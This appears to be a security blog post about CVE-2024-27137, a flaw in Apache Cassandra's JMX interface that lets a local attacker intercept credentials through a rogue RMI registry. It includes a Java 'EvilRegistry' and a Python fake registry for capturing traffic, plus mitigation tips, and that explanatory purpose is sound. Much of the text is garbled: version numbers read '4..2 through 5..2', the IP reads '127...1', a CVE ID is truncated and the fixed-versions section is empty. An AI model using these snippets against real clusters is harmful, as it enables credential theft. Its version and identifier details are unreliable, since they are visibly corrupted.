Apache Cassandra is a favorite distributed database, powering some of the biggest applications for its great performance and scalability. But recently, a new vulnerability—CVE-2024-27137—has caught the attention of the security community. This flaw lets a local attacker steal JMX credentials by hijacking the RMI registry, potentially gaining full access to your database configuration and management features. In this article, we'll break down how the attack works, show you some sample code, and explain how to protect your clusters.

What is CVE-2024-27137?

Simply put, this is a security hole that allows a local attacker (someone with access to the machine, but not necessarily the Cassandra process or configs) to trick Apache Cassandra's JMX interface into giving up user names and passwords. The exploit happens through the Java RMI registry, which handles remote method invocations for management tools like JConsole.

This is not a new class of vulnerability—it's very similar to CVE-202-13946, but the underlying fix in JDK10 and newer since changed, so a new CVE was necessary.

Affected Versions:

Apache Cassandra 4..2 through 5..2 _running Java 11_.

Fixed Versions:

Here’s how an attacker would go about exploiting CVE-2024-27137

1. The attacker runs their own RMI registry on the target machine. — This only requires local access (not Cassandra access).
2. Cassandra, when started, connects to the RMI registry for JMX connections. If Cassandra sees a registry is already running, it connects to it.
3. The attacker’s RMI registry intercepts JMX traffic. Legitimate management tools, like JConsole, connect and send credentials. The malicious registry can snoop these credentials.
4. The attacker now has valid JMX credentials. With these, they can connect to Cassandra’s management interface and do anything the credentials permit: change configs, dump data, even shut down the node.

Code Snippet: Starting a Malicious RMI Registry

If you're curious how trivial this attack is, here’s how you could set up your own RMI registry to trick Apache Cassandra (for educational purposes only):

// Compile with: javac EvilRegistry.java
// Run with: java EvilRegistry

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRegistry {
    public static void main(String[] args) {
        try {
            // Start the registry on default port 1099
            Registry registry = LocateRegistry.createRegistry(1099);
            System.out.println("Malicious RMI registry started on port 1099.");
            // You could implement your own handlers here to intercept objects
            Thread.sleep(Long.MAX_VALUE); // Keep alive
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

When Cassandra is started after this registry is running, it will connect to it, and you’re in the middle of all JMX traffic.

There are open-source tools for grabbing JMX credentials, including

- JexBoss
- RMIScout

Why Is This a Problem?

Because JMX is a powerful administrative interface! Whoever controls it can perform critical actions, which may include:

Downloading and uploading data

If your Cassandra node is set up this way, a malicious actor with just local shell access could get full management power.

Real-World Exploit Example

Below is a simple Python script using SocketServer to fake an RMI registry, capture credentials, and print any incoming traffic (for demonstration only):

import socket

HOST = '127...1'
PORT = 1099

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(1)
    print("Fake RMI registry running on port 1099. Waiting for connections...")
    conn, addr = s.accept()
    data = conn.recv(1024)
    print(f"Received: {data}")

After running this script, start Cassandra. If JMX is enabled, you may see credential-related traffic. With a bit more protocol work, you can extract actual JMX username and password!

Alternatively, configure Cassandra and your server

- Do not run untrusted code/users on the Cassandra host.

Don't expose JMX ports (1099, 7199, etc.) to public networks!

- Add JMX authentication and SSL/TLS.

Set JMX-specific binding like -Dcom.sun.management.jmxremote.local.only=true where possible.

Read the official Apache Cassandra security notes here:
🔗 CVE-2024-27137 from Apache
🔗 NVD Description
🔗 Upgrading Cassandra

Final Words

CVE-2024-27137 is a perfect storm for attackers: Local access is enough, no passwords or configs need to be touched, and a single open port could give up the keys to your kingdom. If you're running Cassandra from 4..2 to 5..2 on Java 11, upgrade ASAP and treat your production servers with the same care as your bank account.

Timeline

Published on: 02/04/2025 11:15:08 UTC
Last modified on: 02/15/2025 01:15:10 UTC